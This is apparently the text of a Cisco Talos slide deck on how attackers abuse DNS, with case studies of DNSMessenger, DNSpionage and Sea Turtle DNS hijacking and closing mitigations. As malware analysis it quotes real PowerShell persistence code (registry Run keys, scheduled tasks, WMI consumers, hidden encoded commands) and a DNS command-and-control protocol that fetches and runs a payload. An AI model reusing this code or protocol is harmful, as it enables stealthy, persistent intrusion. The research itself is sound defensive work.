It’s Never DNS… It Was DNS
How Adversaries Are Abusing Network Blind Spots
Who Are We?

Earl Carter

Currently:
Manager US Talos Outreach Team
Senior Talos Threat Researcher

Over the Years:
Worked for Airforce Information Warfare Center
20+ Years Doing Security At Cisco
Authored Multiple Cisco Press Books
Authored Multiple Security Patents

Hobbies:
Studied Martial Arts for over 30 Years
Love My Irish Wolfhounds
Edmund Brumaghin
Threat Researcher at Cisco Talos.
I <3 Malware.

spent over a decade protecting critical infrastructure.

David Musician/Music Fan
What Are We Going To Cover?

- Crash course on Domain Name System (DNS)
- How attackers are abusing DNS for malicious purposes.
- Hunting for malicious DNS activity.
- Ways to defend against DNS abuse in corporate environments.
DNS Crash Course
DNS

Basic User Experience

https://blog.talosintelligence.com
DNS

Where is www.company.com?
Abusing DNS

Ways Attackers Have Started To Abuse DNS Traffic

- Tunnel malicious code into network through DNS TXT records
- Send commands via DNS TXT Records
- Exfiltrate data through DNS Domain names.
- Send commands encoded in DNS A Records.

Targeting DNS Registrant Accounts

Targeting multiple DNS Entities such as Registries, Registrars & Internet Service Providers
What is Protocol Tunneling?
Passing Traffic Inside Another Protocol
DNS Tunneling – Example

Bypassing Captive Portals!

iodine - https://code.kryo.se/iodine

This is a piece of software that lets you tunnel IPv4 data through a DNS server. This can be usable in different situations where internet access is firewalled, but DNS queries are allowed.

Introduction

Welcome to dnscat2, a DNS tunnel that WON'T make you sick and kill you!

This tool is designed to create an encrypted command-and-control (C&C) channel over the DNS protocol, which is an effective tunnel out of almost every network.

This README file should contain everything you need to get up and running! If you're interested in digging deeper into the protocol, how the code is structured, future plans, or other esoteric stuff, check out the doc/ folder.
DNS TXT Records

What is a TXT Record?

A **TXT record** (short for **text record**) is a type of resource record in the Domain Name System (DNS) used to provide the ability to associate arbitrary text with a host or other name, such as human readable information about a server, network, data center, or other accounting information.

It is also often now used in a more structured fashion to record small amounts of machine-readable data into the DNS.

Now they are commonly used for security mechanisms and anti-spam

- **Sender Policy Framework** (SPF)
- **DomainKeys Identified Mail** (DKIM)
- **Domain Message Authentication Reporting and Conformance** (DMARC)
Interesting Mutex
(March 2017)

function logic($startdomain)
{
    if(!$mutex.Request($startdomain))
    {
        exit
    }
}

@Simpo · Feb
Welp, someone doesn't
Talos Group and Cisco S

CHALLENGE ACCEPTED
Targeted Maldoc Attachments

This document has been secured by McAfee.
To view this Protected Document, click Enable Content.
Stage 2 - PowerShell

```powershell
add_persistence -eq $True) {
    $ic_call = "logic $subdomain1 $response1 $subdomain2 $stop_command $auth_ns"
    $sec_principal.IsInRole([Security.Principal.WindowsBuiltInRole]:.Administrator) -eq $true) {
        $reg_win_path = "HKLM:Software\Microsoft\Windows\CurrentVersion"
        $reg_run_path = "HKLM:Software\Microsoft\Windows\CurrentVersion\Run"
    se {
        $reg_win_path = "HKCU:Software\Microsoft\Windows"
        $reg_run_path = "HKCU:Software\Microsoft\Windows\CurrentVersion\Run"
    }

    major_version = [convert]:.ToInt32($($PSVersionTable.PSVersion.Major|Out-String).Trim())

    $ps_major_version -gt 2) {
        Set-Content -Path $progdata_win_path -Value $stage3_ps -Stream $kernel32_dll
        Add-Content -Path $progdata_win_path -Value $logic_call -Stream $kernel32_dll
    se {
        $stage3_ps_with_cnd = $stage3_ps + "\n" + $logic_call
        $encoded_stage3_ps = encode($stage3_ps_with_cnd)
        New-ItemProperty -Path $reg_win_path -Name kernel32 -PropertyType String -Value $encoded_stage3_ps -for
```
Stage 3 - PowerShell

- Persistence acquired during Stage 2 execution.
- Stage 3 runs each time the system is rebooted.
- Stage 3 is responsible for retrieving and executing Stage 4 using DNS TXT record request and response data.
- Let’s look at how this happens.
Stage 4 – Retrieval Over DNS

Stage 4 – Command Retrieval

- Executes cmd.exe and redirects STDIN, STDOUT, and STDERR.
- Selects a random domain from list.
- Sends a SYN message and awaits response.
- Sends the output of STDOUT and STDERR using DNS.
Stage 4 – DNS Tunneling

Message Query

SYN Query

Domain Name System (response)
[Request In: 52]
[Time: 0.048750000 seconds]
Transaction ID: 0x0004
Flags: 0x8100 Standard query response, No errors
Questions: 1
Answer RRs: 1
Authority RRs: 0
Additional RRs: 0

Queries
- 270600701462900000.cspg.pw: type TXT, class IN

Answers
- 270600701462900000.cspg.pw: type TXT, class IN
- Name: 270600701462900000.cspg.pw
  [Name Length: 26]
  [Label Count: 3]
  Type: TXT (Text strings) (16)
  Class: IN (0x0001)
  Time to live: 60
  Data length: 19
  TXT Length: 18
  TXT: a6cf007014fae70000
Custom C2 Implementation

1. SYN Query
2. SYN Response
3. MSG Query
4. MSG Response
5. FIN Query

Infected Host

SYN
MSG
FIN
## C2 Message Structure

### DNS C2 SYN Query
- Random (#####) 00 $session (#####) $seq_num (#####) 0000 $.domain

### DNS C2 SYN Response
- Random (#####) 00 $session (#####) $ack_num (#####) 0000

### DNS C2 MSG Query
- Random (#####) 01 $session (#####) $seq_num (#####) $ack_num (#####) $hex_data (Optional) $.domain

### DNS C2 MSG Response
- Random (#####) 01 $session (#####) $ack_num (#####) $seq_num (#####) $hex_data (Optional)

### DNS C2 FIN Query
- Random (#####) 02 $session (#####) 00 $.domain
Spoofed SEC Emails
Distribute Evolved DNSMessenger
Spoofed SEC Emails

Targeted spear phishing campaign.

Spoofed from SEC EDGAR system and contained malicious attachment.
Malicious Word Documents
Dynamic Data Exchange (DDE)
Stage 2 Execution

Stores Stage 2 PowerShell in Windows Registry:

```
Set-ItemProperty -Path 'HKCU:\Control Panel\Desktop' -Name 'IE' -Value $stgB64 -Forced
```

Checks to determine if mutex 1823821749 is present on system. If not, it executes Stage 2 PowerShell:

```
```
Stage 2 Persistence

PERSIST ALL THE THINGS!
Registry Persistence

```csharp
$eCmd = [Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($stagerCode))
try{
    New-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name 'IE' -Value "powershell.exe -ep bypass -noni -w hidden -e $eCmd" -force
} catch{}
try{
    New-ItemProperty -Path 'HKLM:\Software\Microsoft\Windows\CurrentVersion\RunOnce' -Name 'IE' -Value "powershell.exe -ep bypass -noni -w hidden -e $eCmd" -force
} catch{}
try{
    New-ItemProperty -Path 'HKLM:\Software\Microsoft\Windows\CurrentVersion\RunServices' -Name 'IE' -Value "powershell.exe -ep bypass -noni -w hidden -e $eCmd" -force
} catch{}
try{
    New-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run' -Name 'IE' -Value "powershell.exe -ep bypass -noni -w hidden -e $eCmd" -force
} catch{}
try{
    New-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name 'IE' -Value "powershell.exe -ep bypass -noni -w hidden -e $eCmd" -force
} catch{}
try{
    New-PSDrive -Name HKU -PSProvider Registry -Root HKEY_USERS
    New-ItemProperty -Path 'HKEY_USERS\Default\Software\Microsoft\Windows\CurrentVersion\Run' -Name 'IE' -Value "powershell.exe -ep bypass -noni -w hidden -e $eCmd" -force
} catch{}
try{
    New-ItemProperty -Path 'HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon' -Name 'IE' -Value "powershell.exe -ep bypass -noni -w hidden -e $eCmd" -force
} catch{}
try{
    New-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Services\VxD' -Name 'IE' -Value "powershell.exe -ep bypass -noni -w hidden -e $eCmd" -force
} catch{}
try{
    New-PSDrive -Name HKCR -PSProvider Registry -Root HKEY_CLASSES_ROOT
    New-ItemProperty -Path 'HKCR:\vbsfile\shell\open\command' -Name 'IE' -Value "powershell.exe -ep bypass -noni -w hidden -e $eCmd" -force
}
```
Scheduled Task Creation

Invoke-PrepareScheduledTask
name = 'IE'
Get-ScheduledTask -TaskName $taskName -ErrorAction SilentlyContinue
  Task -ne $null)
Register-ScheduledTask -TaskName $taskName -Confirm:$false
$ = New-ScheduledTaskAction -Execute 'powershell.exe' -Argument "-ep bypass -noni -w h
$t = New-ScheduledTaskTrigger -AtStartup -RandomDelay 00:00:30
$T = New-ScheduledTaskSettingsSet -Compatibility Win8
$ = New-ScheduledTaskPrincipal -UserId SYSTEM -LogonType ServiceAccount -RunLevel Ho
$ = New-ScheduledTask -Action $action -Principal $principal -Trigger $trigger -Set
  -Description "Run $($( taskName) at startup"
-RemoveScheduledTask -TaskName $taskName -InputObject $definition
Get-ScheduledTask -TaskName $taskName -ErrorAction SilentlyContinue
ADS and WMI Persistence

```powershell
$psVersion = [convert]::ToInt32($($PSVersionTable.PSVersion.Major|Out-String).Trim())
$adsDir = $env:programdata + '\Windows'
$adsModuleName = 'kernel32.dll'
if ($psVersion -gt 2)
{
    Set-Content -Path $adsDir -Value $ServiceCode -Stream 'kernel32.dll'
}
if ($currentPrincipal.IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator) -eq $true)
{
    $filterName = 'kernel32_Filter';
    $consumerName = 'kernel32_Consumer';

    Get-WmiObject __eventFilter -namespace root\subscription | Remove-WmiObject
    Get-WmiObject CommandLineEventConsumer -Namespace root\subscription | Remove-WmiObject
    Get-WmiObject _filtertoconsumerbinding -namespace root\subscription | Remove-WmiObject

    $filterResult = Set-WmiInstance _Computername $env:COMPUTERNAME -Namespace 'root\subscription' -Class __EventFilter -Arguments @{Name = $filterName; EventNamespace = 'root\CIMV2'; QueryLanguage = 'WQL'; Query = "Select * from __InstanceCreationEvent within 30 where targetInstance isa 'Win32_LogonSession'"}
    if ($psVersion -gt 2)
    {
        $encCmd = [Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes("IEX `(Get-Content -Path $adsDir -Stream $adsModuleName|Out-String)")
        Set-WmiInstance _Computername $env:COMPUTERNAME -Namespace 'root\subscription' -Class CommandLineEventConsumer -Arguments @{Name = $consumerName; ExecutablePath = 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe'; CommandLineTemplate = 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ep bypass -noni -w hidden -e $encCmd '}}
```
Stage 3 Functionality

Obtains system serial number.

Generates an MD5 hash of the serial number.

Uses the first ten bytes to generate a DNS hostname.

Example S/N: VMware-56 4d 64 66 d0 7d f4 26-2c ad a5 8b f8 51 26 f8

Hostname Result: EFA29DD310
Stage 3 Functionality

Uses the following to generate what hostname to DNS A record queries to obtain Stage 4 payload:

\[ \text{EFA29DD310.stage.0.ns0.pw} \]

- Hostname previously generated
- Hardcoded string "stage"
- Randomly selected domain from array present in PowerShell.
- Counter value (which starts at 0)
Stage 3 Functionality

Domain: EFA29DD310.stage.0.ns0.pw

Request DNS A Record

67.43.64.119

Request DNS TXT Record

H4sIAIia3VkJC/909a1fbSJafyTn5DxXhbkvYEpg8pjcjpnkwXQgLNCNTnnG8HdkqQGBLjiRDCPE5+x
/2H+4v2XvrdLLmE7m9J6lZ8BWVd133br3VpWyTE4vgoQkdJgGUUiSi2g68smAkmg8DlLqEy8hQUqgyySmCO
hY0hOUu+cxo8fLRP3e
/48ftTwo7EXhAlxyc+mESZruzUTGaLMPCVAjP068ofx8QweqpeMgjYn4rLesay1PM1BPNV
Stage 3 Functionality

DNS A Record
- Returned IP: 67.43.64.119
- Integer Value: 1126908023

Data Verification

DNS TXT Record
- Calculate MD5: 432B4077F72E96CA70B57F10B68F35E
- Take First 8 Bytes: 432B4077
- Integer Value: 1126908023
Stage 4 Retrieval

If the integer values match, the result of the TXT record query is appended to the end of a string and the process is repeated with another attacker controlled domain.

The process ends when the result of the queries is 0.0.0.0 or if the query fails altogether.

The resulting string is Stage 4. It is then passed to IEXX and run.
Stage 4 Functionality

Functions as a Remote Access Trojan (RAT) that is implemented using PowerShell.

Uses DNS for command retrieval from C2.

POSTs data to attackers server via HTTP.

Can be used to execute a variety of commands on infected systems.
DNS Tunneling Case Study: DNSpionage
DNSpionage - Event #1
Infection Vectors

Spear-phishing emails

Social media contacts such as LinkedIn and other job-focused sites

Links Talos identified as being used were HR related:
  • hr-wipro[.]com (with a redirection to wipro.com)
  • hr-suncor[.]com (with a redirection to suncor.com)
MalDoc – Macro Abuse!

- Two macros embedded within the maldoc.
- One macro executes on Opening of the doc.
- The other executes when the doc is closed.
But Why?!

- Having macro-based documents requires human interaction.
- A human must close the doc before the macro finishes.
- Anti-sandbox technique.
- Final payload is DNSpionage
DNSpionage had two distinct communication techniques:
- HTTP Mode
- DNS Mode

These two different modes of communication were used by the attacker to send additional commands, etc. to the victim.
DNSpionage

DNS Mode

- A DNS request is sent to Office36o.com using random data (rand) and base32 encoding
  - RoyNGBDVIAA0[.]Office36o[.]com
- The C2 server replies with an IP address, not always valid. DNS allows for this, and has no checking in place, so it can be 0.1.0.3
- GBDVIAA0. The decoded value (base32) is "0GT\x00". GT is the target ID and \x00 the request number.
DNSpionage

Issue the DNS query again (different random info)

- t0qlGBDVIAI0[.]Office36o[.]com

The C2 server will return a new IP: 100.105.114.0.

If we convert the value in ASCII we have "dir\x00," the command to be executed.
And finally, the result of commands sent via multiple DNS requests:

- gLtAGJDVIAJAKZXWY000.office36o[.]com -> GJDVIAJAKZXWY000 -> "2GT\x01 Vol"
- TwGHGJDVIATVNVSSA000.office36o[.]com -> GJDVIATVNVSSA000 -> "2GT\x02ume"
- 1QMUGJDVIA3JNYQGI000.office36o[.]com -> GJDVIA3JNYQGI000 -> "2GT\x03in d"
- iucCGJDVIBDSNF3GK000.office36o[.]com -> GJDVIBDSNF3GK000 -> "2GT\x04rive"
- viLxGJDVIBJAIMMQGQ000.office36o[.]com -> GJDVIBJAIMMQGQ000 -> "2GT\x05 Ch"
[etc]
DNSpionage

Observed Victimology

• We can observe the DNS queries with our DNS exfiltration and Umbrella monitoring.

• These requests were primarily from the Middle East.
DNS Example

Where is www.company.com?
DNS Redirection

Where is www.company.com?

Attacker Server

IP-Based Web Request

Company A

DNS Request

DNS Hierarchy

Internet
DNS Redirection

• Within the DNSpionage attack lies DNS redirection:
  • 185.20.184.138
  • 185.161.211.72
  • 185.20.187.8

• All three hosts were located in DeltaHost in Holland.

• These IPs were used for the creation of LetsEncrypt certificates – this was most likely used for trying to perform MiTM attacks.
  ** We are currently unable to confirm if these were successful **
DNS Redirection

185.161.211.72

- Sep 13: Domain A
  - 05:37:54
  - LetsEncrypt certificate

- Nov 6: Domain D
  - Nov 14: Domain E
  - 06:39:39
  - Redirection in our Passive DNS

- Sep 24: Domain C
- Sep 15: Domain B
- Nov 28: Domain F
DNS Redirection

2 years of activities

- 2017 Q1: Two Redirections
- 2017 Q2: Two Redirections
- 2017 Q3: Two Redirections
- 2018 Q4: One Redirection
- 2018 Q1: One Redirection
- 2018 Q2: Two Redirections
- 2018 Q3: >20 Redirections
Alert (AA19-024A)
DNS Infrastructure Hijacking Campaign

Original release date: January 24, 2019 | Last revised: February 13, 2019

Summary

The National Cybersecurity and Communications Integration Center (NCCIC), part of the Cybersecurity and Infrastructure Security Agency (CISA), is aware of a global Domain Name System (DNS) infrastructure hijacking campaign. Using compromised credentials, an attacker can modify the location to which an organization's domain name resources resolve. This enables the attacker to redirect user traffic to attacker-controlled infrastructure and obtain valid encryption certificates for an organization's domain names, enabling man-in-the-middle attacks.
DNS Hijacking Abuses Trust in Core Internet Services
The Sea Turtle Primary Objectives

Clear Primary Motive
• Espionage.

Clear Primary Targets/Victims
• Middle Eastern & North African Gov. Departments
• Intelligence agencies
• Oil & Gas
• Military

State sponsored attack carried out by Sea Turtle operators

The actors are responsible for the first publicly confirmed case of a DNS registry compromise
The Sea Turtle Secondary Objectives

To support their primary targeting Sea Turtle took aim at several platforms to allow for their operation to unfold.

• These secondary targets were located in USA & Sweden

Secondary Targets:

• Telecommunication organizations
• Internet Service Providers
• Information Technology Firms
• Registrars
Sea Turtle Methodology

1. Attacker gained access to an
   compromised server.

2. Attacker moved through the
   network to obtain credentials.

3. Attacker exfiltrated material out of the
   network.

4. Attacker accessed the DNS registry via
   the compromised credentials.

5. Attacker issued an “update” command
   to use the actor-controlled name
   server.

6. Victim sent DNS request for a target
   domain and received a response from
   the actor-controlled name server.

7. Victim entered their credentials
   into the MitM server.

8. Attacker harvested the victim’s
   credentials from the MitM server.

9. Attacker then passed the victim’s
   credentials to the legitimate service.

10. Attacker is now able to authenticate as the
    victim.
What’s Up With Sea Turtle?

This shows a highly motivated actor is happy to continue their operation. This clear lack of concern would point towards a nation state actor who is not afraid of press or public reporting.

- It’s common for attackers to “cool off” when published information arises.

This actor has a clear and aggressive play on their victims and their methodologies to attack their victims.

- Attacking multiple registrars including TLD, ccTLD and gTLD responsible registrars
- Clear path to DNS manipulation based attacks including DNS Hijacking through actor controlled name-servers.
What’s Up With Sea Turtle?

Abusing the use of self-signed certificates to allow for initial credential harvesting.

• MiTM attacks using self-signed certs.

After initial compromise using valid credentials Sea Turtle actors will perform further certificate theft from their victims.

• Stealing of legitimate certificates to re-use on their own actor controlled infra.

• Increased level of difficulty for an end-user to realise any foul play.
What’s Up With Sea Turtle?

One notable aspect of the campaign was the actors’ ability to impersonate VPN applications, to perform MiTM attacks

- Likely abused the trust relationship associated with VPN SSL certificate to harvest VPN credentials to gain remote access to victim’s network

The VPN is considered a “safe spot” when it comes to a lot of attacks and end-users often do not look out for attacks on their VPN infrastructure.
DNS Mitigations

- Ensure domains use a registry/registrar lock services
- Use multifactor authentication, like Duo, to protect your organization’s DNS records and regular authentication
- Monitor Activity on your Network – Especially DNS
- Patch Patch Patch!